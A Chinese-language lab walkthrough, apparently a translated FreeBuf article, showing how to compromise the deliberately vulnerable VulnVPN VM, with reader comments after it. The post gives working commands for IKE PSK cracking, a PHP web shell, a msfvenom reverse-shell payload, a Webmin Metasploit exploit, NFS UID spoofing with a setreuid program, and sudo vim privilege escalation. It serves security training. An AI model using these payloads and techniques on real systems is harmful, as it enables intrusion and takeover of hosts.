CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

ike

2017年5月23日 917点热度 0人点赞 0条评论

ike

  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

VPN漏洞测试平台渗透学习笔记

xia0k2014-11-20+19共570850人围观 ,发现 36 个不明物体系统安全网络安全

VulnVPN是一款十分优秀的对VPN进行渗透测试的漏洞平台工具。我不得不说,因为这款软件,使得我们在进行VPN的安全性测试的时候方便了很多。我这篇文章就将带领大家进行一次VPN的安全性测试,看一下如何一步步地成功的获取一台VPN的Root权限。

环境配置

需要首先下载VulnVPN软件,下面是下载地址:

VulnVPN下载地址:http://www.rebootuser.com/wp-content/uploads/vulnvpn/VulnVPN.7z

VulnVPN客户端文件:http://www.rebootuser.com/wp-content/uploads/vulnvpn/client.7z

在此之前我试过了Kali Linux的32位和64位版本来安装,但是发现是行不通的(应该是系统版本问题),所以这里我就选择了使用Backtrack 5 r3 32位的版本安装了一个虚拟机

首先,我们需要修改一下网络环境,这里我们打开虚拟网络编辑器,然后把NAT IP地址改成192.168.0.0,如下图所示:

我们将使用下面这台Backtrack 5 r3 32位(以下简称BT5)的虚拟机作为攻击机

现在我们新建一台虚拟机然后把BT5安装进去,安装过程这里我们就略过不讲,对于FreeBufer来说肯定不是一件困难的事情

要使的我们的VulnVPN能够正常工作,首先我们需要安装下面三个包:

1、openswan
2、xl2tpd
3、ppp

安装命令如下:

apt-get install openswan xl2tpd ppp

安装完成之后,这样攻击需要的环境我们就搭好了。这时候我们启动我们下载的VulnVPN,我们将完全不对其进行任何修改,不进行任何操作,我们就假装这个VPN就是一个远程VPN,真的远程VPN我们怎么可能碰得到呢对吧:)

然后我们需要在BT5攻击机上设置一个静态IP,做法也很简单,只需要打开/etc/network/interfaces文件,然后给eth0网口指定静态的IP就可以了,内容为下:

auto eth0
iface eth0 inet dhcp
#iface eth0 inet static
address 192.168.0.11
network 192.168.0.0
netmask 255.255.255.0
broadcast 192.168.0.255
gateway 192.168.0.1

然后我们需要下载上面的VPN Client文件,然后解压进行配置,具体的方式如下:

root@bt:~/vulnvpn/client# ls
ipsec.conf ipsec.secrets ppp start-vpn.shxl2tpd
root@bt:~/vulnvpn/client# cp ipsec.conf/etc/
root@bt:~/vulnvpn/client# cp ipsec.secrets/etc/
root@bt:~/vulnvpn/client# cpppp/options.l2tpd.client /etc/ppp/
root@bt:~/vulnvpn/client# cpxl2tpd/xl2tpd.conf /etc/xl2tpd/

开始进行渗透

我们使用以下命令来查看以下网络的环境:

root@bt:~/vulnvpn# netdisocver -r192.168.0.0/24

对192.168.0.10主机进行TCP端口扫描

这里我们使用神器nmap对上面发现的VulnVPN主机进行端口扫描(关于nmap的具体使用方法大家可以点这里:http://www.freebuf.com/articles/network/32302.html):

root@bt:~/vulnvpn# nmap -A 192.168.0.10

对192.168.0.10主机进行UDP端口扫描

root@bt:~/vulnvpn# nmap -sU 192.168.0.10

Note:以上扫描结果中的靶机中的81端口只是预留为解决紧急状况的,并非我们的攻击目标和方向

通过扫描,我们发现VulnVPN在500端口上运行了isakmp服务,关于这个服务的详细信息,你可以点击这里查看:http://www.networksorcery.com/enp/protocol/isakmp.html

然后我们将对这个服务进行深入的信息收集,但是这个时候继续使用nmap肯定是力不从心了,这里我们使用ike-scan工具进行下一步的工作(ike-scan是一款基于命令行的工具,主要有主机发现,指纹识别等功能,可以用来测试IPSec VPN服务器)

然后我们使用该工具进行主机扫描:

root@bt:~/vulnvpn# ike-scan -M -A-Pike-hash -d 500 192.168.0.10

下面是关于该工具的几个参数的解释:

-M:缩进式输出
-A:攻击模式
-P<文件名>:指定写入预共享key的文件名
-d:目标机器的UDP端口

这里我们获得的ike-hash文件中的预共享key可以使用psk-crack进行破解,破解过程如下:

root@bt:~/vulnvpn# psk-crack -d/pentest/passwords/wordlists/rockyou.txt ike-hash

很快我们就得到了密码,密码为123456,这里我们就可以使用这个密码连接VulnVPN了

编辑/etc/ipsec.secrets文件,然后将ENTER_PSK_HERE字段改为123456,命令如下:

root@bt:~/vulnvpn# nano /etc/ipsec.secrets

然后我们重启一下ipsec服务:

root@bt:~# /etc/init.d/ipsec restart

然后我们可以用以下命令看一下已经启动的服务:

root@bt:~# service –status-all

如果xl2tpd服务没有启动起来,这个时候还需要启动一下:

root@bt:~# /etc/init.d/xl2tpd start

现在我们连接VulnVPN:

root@bt:~# ipsec auto –up vpn

然后我们运行client文件中的start-vpn.sh文件,如果前面的配置没有问题,这个时候我们应该可以看到建立了一个ppp0的接口:

root@bt:~/vulnvpn/client# sh start-vpn.sh
root@bt:~/vulnvpn/client# ifconfig

我们可以用以下命令看一下活动主机:

root@bt:~/vulnvpn# for ip in10.99.99.{1..255}; do ping -c 1 -t 1 $ip > /dev/null && echo “${ip}is up”; done

我们知道,10.99.99.2是我们的VPN IP地址,而10.99.99.1则是VPN地址

然后我们对10.99.99.1进行端口扫描:

root@bt:~/vulnvpn# nmap -A -p1-6553510.99.99.1

我们可以看到在10.99.99.1的80端口运行着HTTP服务,我们看下是个什么东西

看起来没什么特殊的东西,没关系,我们接着看10000端口:

我们首先分析这个HTTP服务。我们可以从上图看到,这就是一个Apache HTTP服务安装之后的默认页面,没什么特殊的东西。我们需要对其进行深入的扫描分析才能得到更多的信息,这里我们使用DirBuster对其进行进一步的扫描:

过程不过多描述,上结果:

我们从结果可以看出来,在HTTP服务上搭了一个WordPress。好奇心驱使我们看一下这个WP页面:

http://10.99.99.1/wordpress/

这里是一个主站的上传页面:

看到这里,首先反应就是看看有没有解析漏洞,这里我们试一下传一个php一句话(cmd.php):

<?php
highlight_string(shell_exec($_REQUEST['cmd']));
?>

WordPress默认的上传路径是/wp-content/uploads/,我们访问看一下:

经过查看,我们发现我们上传的PHP文件的路径是rsjp/attachments/ 文件夹下,但是文件名改成了一串随机字符串。我们可以通过这里得到一个web shell:

得到shell就等于成功了大半,我们可以使用命令获取一个meterpreter,当然,首先我们需要生成一个meterpreter php shell:

msfvenom -p php/meterpreter/reverse_tcpLHOST=10.99.99.2 LPORT=4444 -f raw > meter.php

然后我们开启一个handler进行监听:

然后我们就得到了一个meterpreter会话。但是这里直接使用shell不是特别方便,我们使用python获取一个交互的shell:

Meterpreter> shell
python -c “import pty;pty.spawn(‘/bin/bash’);”

我们查看一下passwd文件:

www-data@vulnvpn:/$ cat /etc/passwd

分析passwd文件,我们可以看到几个有趣的用户:

root
www-data
bob
jane

不要忘了,我们在之前分析的时候还有一个运行在10000端口的login页面:https://10.99.99.1:10000/

这里我们不知道密码是什么,不过我们可以使用上面第一个漏洞获取到的信息来创建一个user列表,密码我们用一些常见密码,然后在这里进行猜解,下面是一组猜解得到的结果:

User      Password
bob        bob

Note:过多次的尝试将会使IP被短时间列入黑名单。

然后我们在msf中搜一下,看看有没有webmin相关的公开漏洞

我们运气不错,经过搜索,我们找到了一个公开的exp:

Metasploit:exploit/unix/webapp/webmin_show_cgi_exec

Note:找不到这个exp说明你的msf需要升级了

然后我们使用这个exp来获取服务器的root权限:

另一种获取root的方式

这里我们使用hydra的字典模式对SSH服务进行暴力破解,然后跟上面一样,假装我们已经获取到了用户名和密码(说起来容易。。。不过要是有跟黑客叔叔p0tt1一样的运气肯定是很简单的)

从Nmap的扫描结果我们可以看到一个网络文件系统(NFS)

我们载入一个msf中的一个NFS扫描模块:

Metasploit: auxiliary/scanner/nfs/nfsmount

这里我们可以看到有一个路径/home/bob是存在的

我们挂载一下看一下:

root@bt:~/vulnvpn# mount10.99.99.1:/home/bob /root/vulnvpn/bob -o nolock

然后列一下文档:

root@bt:~/vulnvpn# ls -lah ./bob

擦擦擦!为毛所有的文件都是postgres用户?

<FreeBuf小知识>

问题的答案是,当NFS挂载之后,文件的所属的权限并非通过用户名和组传递的,传递的是UID和GID,所以到了本机之后就变成了一个本机存在的用户名,即postgres,而这个用户是BT5机器上的而非VulnVPN的。我们可以查看我们BT5的passwd文件我们会发现UID为1000的用户恰好为postgres。而现在我们使用之前第一个漏洞,读出VulnVPN的/etc/passwd文件内容,我们可以看到VulnVPN中UID为1000的用户为bob。

</FreeBuf小知识>

言归正传,我们使用BT5的root权限尝试在NFS中写入一个文件时,我们发现出错了:

这是因为,NFS开启了“Root Squashing”,所以这时候我们使用root是不行的,所以这个时候我们切换到UID为1000的用户,本机则为postgres,这样我们再去创建文件就不会出现任何问题了

root@bt:~/vulnvpn# su postgres
sh-4.1$ chmd 777

我们把/bin/bash文件复制到./bob下:

sh-4.1$ cp /bin/bash ./

因为root是没有挂载文件夹的写入权限的,而且我们已经有了一个从www-date返回的shell,其权限是ID为1001的名为jane的用户。我们可以在本地新建一个相同信息的用户:

root@bt:~/vulnvpn# useradd -u 1001 jane

现在我们切换到刚建的这个用户:

root@bt:~/vulnvpn/bob# su jane
sh-4.1$ whoami

用jane用户将/bin/bash拷贝到挂载目录,同时修改其权限为4777,这就意味着无论是谁调用这个bash都将得到jane这个账户的权限

sh-4.1$ cp /bin/bash ./mybash
sh-4.1$ chmod 777 mybash

先前我们暴力破解到的用户名和密码就起到作用了,我们使用SSH登录:

root@bt:~/vulnvpn/bob# ssh bob@10.99.99.1

现在我们附加-p参数运行我们刚刚复制过来的bash:

bob@vulnvpn:~$ ./mybash –p

从图里我们可以看出来,现在我们是用jane用户登录的,但是UID和GID都还是bob用户的,那么我们就可以借用这一点想办法提权

为了达到目的,我这里写了一段C(priv1.c):

void main()
{
/* setreuid(ruid,euid)sets the real andeffective user IDs of the current process to the values specified by the ruidand euid arguments */
setreuid(1001,-1);
char *args[] = {“/bin/bash”,0};
execve(args[0],args,0);
}

我们编译这段C,然后将编译后的文件以用户jane身份复制到挂载到NFS中

在此之前,当然是需要安装gcc的,没有的可以自己安装一下

root@bt:~/vulnvpn#apt-get  install gcc

然后我们进行编译:

root@bt:~/vulnvpn# gcc priv1.c -o priv1
root@bt:~/vulnvpn# chmod 777 priv1
root@bt:~/vulnvpn# cd bob
root@bt:~/vulnvpn/bob# su jane
sh-4.1$ cp ../priv1 ./

现在,我们返回SSH会话中执行这个编译好的文件:

mybash-4.1$ ./priv1

我们试一下运行root权限的命令:

jane@vulnvpn:/home/bob$ sudo –l

我们发现用jane用户我们可以运行root权限的命令(比如vim)而不需要输入密码

如果你不清楚是不是这样的,那我们就试一下:

jane@vulnvpn:/home/bob$ vim

运行vim之后,我们按下”:”然后输入”!<命令>”

我们开一个shell…

jane@vulnvpn:/home/bob$ sudo vim

得到root权限了,嗯哼 :)

[文/FreeBuf小编xia0k 参考来源:resources.infosecinstitute.com 转载请注明:FreeBuf.COM]

xia0k

xia0k35 篇文章等级: 6级
|
|
  • 上一篇:Windows安全通道远程代码执行漏洞(CVE-2014-6321)浅析
  • 下一篇:结合中间人攻击,Pidgin鸡肋漏洞变废为宝

这些评论亮了

  • root回复
    题目很大,文章很长,给你做个总结:1.任意文件上传拿shell 2.sudo用户弱口令提权 3.全程linux提升逼格
    )35(亮了
  • pnig0s(7级)FreeBuf技术处书记回复
    @rrr 除了学习思路你还想学习啥?天天发0day的exp就学到了?
    )14(亮了
  • mikey(2级)技术太差的渣渣。回复
    哥们,我看了半天不知道你在干嘛。
    )11(亮了
  • ghsd回复
    如果前面爆破不出该怎么办?
    )6(亮了
发表评论

已有 36 条评论

  • whoami 2014-11-20回复1楼

    不错.

    亮了(4)
  • softbug (7级)011101000110100001100001011011... 2014-11-20回复2楼

    不错啊!辛苦啊

    亮了(2)
  • rrr 2014-11-20回复3楼

    文章好长,不过除了思路之外貌似没有什么更多的值得学习的地方,关键点居然是一个暴力破解,我脱了裤子你就让我看这个?
    不过有些小地方的tips还是有些偏门的,确实学习了。这么多内容,没有功劳也有苦劳,还是给lz点个赞吧以后多搞掂技术类文章让咱学习一下 :)

    亮了(4)
    • pnig0s (7级)FreeBuf技术处书记 2014-11-20回复

      @rrr 除了学习思路你还想学习啥?天天发0day的exp就学到了?

      亮了(14)
  • winse (1级) 2014-11-20回复4楼

    请问一下楼主,在你获取到 ipsec的预共享密钥123456过后,你连接l2tp over ipsec,不需要l2tp的帐号就能连上吗?

    亮了(2)
    • q 2014-11-20回复

      start_vpn.sh

      亮了(2)
  • xiao_hen (4级)人是无法在快乐中成长的。快乐只能使人肤浅,我们在痛苦中成长,... 2014-11-20回复5楼

    好文,学习了。感谢分享。

    亮了(2)
  • whitehole (1级) 2014-11-20回复6楼

    真的是下了心血了,赞一个

    亮了(1)
  • susix (1级)Life is like an RPG 2014-11-20回复7楼

    好多工具,菜鸟眼花了

    亮了(1)
  • Tears (1级) 2014-11-20回复8楼

    厉害

    亮了(1)
  • mikey (2级)技术太差的渣渣。 2014-11-20回复9楼

    哥们,我看了半天不知道你在干嘛。

    亮了(11)
  • ghsd 2014-11-20回复10楼

    如果前面爆破不出该怎么办?

    亮了(6)
  • 十分之三 (1级) 2014-11-20回复11楼

    很详细

    亮了(1)
  • huachishi (3级) 2014-11-20回复12楼

    so good

    亮了(1)
  • C.shark 2014-11-20回复13楼

    目前大部分vpn都是设备,而且多数采用口令卡的,所以上文中关键一步ike-scan获取共享口令卡这步局限性比较大。不过作为初步了解vpn渗透来说还是很有教学意义的。

    亮了(1)
  • Super (2级) 2014-11-20回复14楼

    非常好 学习学习

    亮了(1)
  • 静默 (3级)这家伙太懒了,还未填写个人描述! 2014-11-20回复15楼

    好文,赞一个

    亮了(2)
  • 河蟹 2014-11-20回复16楼

    求字典一份

    亮了(1)
  • root 2014-11-20回复17楼

    题目很大,文章很长,给你做个总结:1.任意文件上传拿shell 2.sudo用户弱口令提权 3.全程linux提升逼格

    亮了(35)
    • root 2014-11-20回复

      @root 顶我的中500W,让我看看有多少赞同的!

      亮了(0)
  • 黑黑的白猫 (2级) 2014-11-20回复18楼

    赞……………..

    亮了(1)
  • flowind 2014-11-20回复19楼

    作为观赏性测试也不错.只能说了解了解思路以及过程..
    通过ike-scan获取口令.这真的很难遇到..
    另外一点在提权部分可以很简单.
    有webshell了直接反弹个shell回来上传通用提权脚本或者是uname -a查看详细系统版本.
    然后去找提权exp就是了..没得这么麻烦.
    有webshell到或者shell权限一般用不到10分钟..手快的或者有自己资源的..也许就1个命令就得到了..

    亮了(0)
  • 酱油党 (2级)禁止发言 2014-11-20回复20楼

    看的我是醉了

    亮了(0)
  • 心在想念 (2级) 2014-11-20回复21楼

    开始测试 ………

    亮了(0)
  • zhangsec (1级) 2014-11-20回复22楼

    实战开始

    亮了(0)
  • 人一不二 2014-11-21回复23楼

    mark马mk 转发微博

    亮了(0)
  • 人一不二 2014-11-21回复24楼

    mark//:马//:mk //:转发微博

    亮了(0)
  • Moriarty (3级) 2014-11-21回复25楼

    翻译的很不错,赞个先。不过现在翻译文章,前面都不用注明是翻译了吗?容易引起歧义滴哦。。。

    亮了(1)
    • xia0k (6级) 2014-11-21回复

      @Moriarty  怎么个注明法呢?其实现在很多大家所看到的翻译的文章基本都是我亲身实验过之后,然后慢慢揣摩作者意思,然后意译出来的,因为老外写东西的思维其实跟我们不太一样,很多东西直译完了根本没法看。文末已经给出了链接,不太清楚您说的歧义是指?:)

      亮了(0)
  • nibiru.holmes (1级) 2014-11-23回复26楼

    LZ真是下工夫了 这么多

    亮了(0)
  • bruclan (2级) 2014-11-25回复27楼

    耐心的看完了,然后就,然后就没有然后了。

    亮了(0)
  • jamebondforever (1级) 2014-11-26回复28楼

    http://www.2cto.com/Article/201312/262945.html

    【via】

    注:本文有本文由InfoSecLab 翻译,如有翻译和编辑错误,请联系管理员,我们将尽快处理,转载请保留版权,谢谢,希望本文对你有所帮助

    参考文献:

    http://www.rebootuser.com/?p=1474

    http://pubs.opengroup.org/onlinepubs/009695399/functions/setreuid.html

    作者简介:

    Abhineet Jayaraj是一个自由(兼职)的信息安全研究员。通过学习,实践和向应用程序供应商报告错误的经验。CEH认证,但认为在实际知识和未在框中的思考,而不是收集证书。一直开到更多的学习,以提高自己的知识。信息安全是一种爱好,而工作对他。构建工具来自动化测试,使事情变得更加容易

    亮了(0)
  • youyiku视频 2014-11-21回复29楼

    mark马mk 转发微博

    亮了(0)
  • NASA爱好者 2014-11-21回复30楼

    mark马mk 转发微博

    亮了(0)
  • 人一科技 2014-11-21回复31楼

    mark马mk 转发微博

    亮了(0)
  • 弹指一挥飘然而去 (1级)做一名安全爱好者 2016-12-13回复32楼

    感觉写的很乱。。

    亮了(0)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

xia0k

xia0k

这家伙太懒,还未填写个人描述!

35 篇文章109 条评论

相关阅读

  • 苹果公司要求FBI公布破解iPhone的技术细节
  • 44CON议题《攻击 VxWorks:从石器时代到星际》探究
  • 我是如何发现Google服务器上的LFI漏洞的
  • Windows平台shellcode开发入门(二)
  • Linux提权:从入门到放弃

特别推荐

关注我们 分享每日精选文章

不容错过

  • 基于约束的SQL攻击鸢尾2017-01-06
  • 互联网公司WAF系统设计chengfangang2017-03-08
  • 苹果高管公开反对iPhone解锁提议,美国政府将与苹果公司对簿公堂FireFrank2016-03-11
  • 逆向工程(三):实例破解VillanCh2015-12-02

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月23日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me